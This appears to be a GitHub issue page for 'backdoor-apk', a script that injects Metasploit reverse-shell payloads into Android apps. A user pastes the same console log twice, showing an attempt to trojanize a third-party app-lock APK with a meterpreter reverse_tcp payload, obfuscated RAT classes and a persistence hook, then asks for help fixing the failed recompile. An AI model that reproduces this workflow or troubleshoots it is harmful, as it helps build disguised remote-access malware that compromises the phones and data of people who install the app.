backdoor-apk is a shell script that simplifies the process of adding a backdoor to any Android APK file. Users of this shell script should have working knowledge of Linux, Bash, Metasploit, Apktool, the Android SDK, smali, etc. This shell script is provided as-is without warranty of any kind and is intended for educational purposes only.
Apache License 2.0
2.17k
stars
699
forks
source link
Failed to recompile original project with backdoor #166
[] Running backdoor-apk.sh v0.2.4a on Fri Feb 8 19:44:09 CET 2019
[+] Android payload options:
1) meterpreter/reverse_http 3) meterpreter/reverse_tcp 5) shell/reverse_https
2) meterpreter/reverse_https 4) shell/reverse_http 6) shell/reverse_tcp
[?] Please select an Android payload option: 3
[?] Please enter an LHOST value:
[?] Please enter an LPORT value:
[+] Android manifest permission options:
1) Keep original
2) Merge with payload and shuffle
[?] Please select an Android manifest permission option: 1
[+] Handle the payload via resource script: msfconsole -r backdoor-apk.rc
[] Decompiling original APK file...done.
[] Locating smali file to hook in original project...done.
[+] Package where RAT smali files will be injected: com/domobile/applock
[+] Smali file to hook RAT payload: com/domobile/applock/AppLockApplication.smali
[] Generating RAT APK file...done.
[] Decompiling RAT APK file...done.
[+] Keeping permissions of original project
[] Injecting helpful Java classes in RAT APK file...done.
[] Creating new directory in original package for RAT smali files...done.
[+] Inject package path: com/domobile/applock/zrwjy
[+] Generated new smali class name for MainBroadcastReceiver.smali: Qrndi
[+] Generated new smali class name for MainService.smali: Ghppp
[+] Generated new smali class name for Payload.smali: Ixkrn
[+] Generated new smali class name for StringObfuscator.smali: Etquf
[+] Generated new smali method name for StringObfuscator.obfuscate method: eogow
[+] Generated new smali method name for StringObfuscator.unobfuscate method: fjdhn
[] Copying RAT smali files to new directories in original project...done.
[] Fixing RAT smali files...done.
[] Obfuscating const-string values in RAT smali files...done.
[] Adding hook in original smali file...done.
[] Adding persistence hook in original project...done.
[*] Recompiling original project with backdoor...done.
[!] Failed to recompile original project with backdoor
How can i solve it? I had already try all suggestion
root@vmi239688:~/Documents/backdoor-apk/backdoor-apk# ./backdoor-apk.sh AppLock_v2.6.8_apkpure.com.apk
____|__|__ /____\ |____| Dana James Traversie
[] Running backdoor-apk.sh v0.2.4a on Fri Feb 8 19:44:09 CET 2019 [+] Android payload options: 1) meterpreter/reverse_http 3) meterpreter/reverse_tcp 5) shell/reverse_https 2) meterpreter/reverse_https 4) shell/reverse_http 6) shell/reverse_tcp [?] Please select an Android payload option: 3 [?] Please enter an LHOST value:
[?] Please enter an LPORT value:
[+] Android manifest permission options:
1) Keep original
2) Merge with payload and shuffle
[?] Please select an Android manifest permission option: 1
[+] Handle the payload via resource script: msfconsole -r backdoor-apk.rc
[ ] Decompiling original APK file...done.
[] Locating smali file to hook in original project...done.
[+] Package where RAT smali files will be injected: com/domobile/applock
[+] Smali file to hook RAT payload: com/domobile/applock/AppLockApplication.smali
[] Generating RAT APK file...done.
[] Decompiling RAT APK file...done.
[+] Keeping permissions of original project
[] Injecting helpful Java classes in RAT APK file...done.
[] Creating new directory in original package for RAT smali files...done.
[+] Inject package path: com/domobile/applock/zrwjy
[+] Generated new smali class name for MainBroadcastReceiver.smali: Qrndi
[+] Generated new smali class name for MainService.smali: Ghppp
[+] Generated new smali class name for Payload.smali: Ixkrn
[+] Generated new smali class name for StringObfuscator.smali: Etquf
[+] Generated new smali method name for StringObfuscator.obfuscate method: eogow
[+] Generated new smali method name for StringObfuscator.unobfuscate method: fjdhn
[] Copying RAT smali files to new directories in original project...done.
[] Fixing RAT smali files...done.
[] Obfuscating const-string values in RAT smali files...done.
[] Adding hook in original smali file...done.
[] Adding persistence hook in original project...done.
[*] Recompiling original project with backdoor...done.
[!] Failed to recompile original project with backdoor
How can i solve it? I had already try all suggestion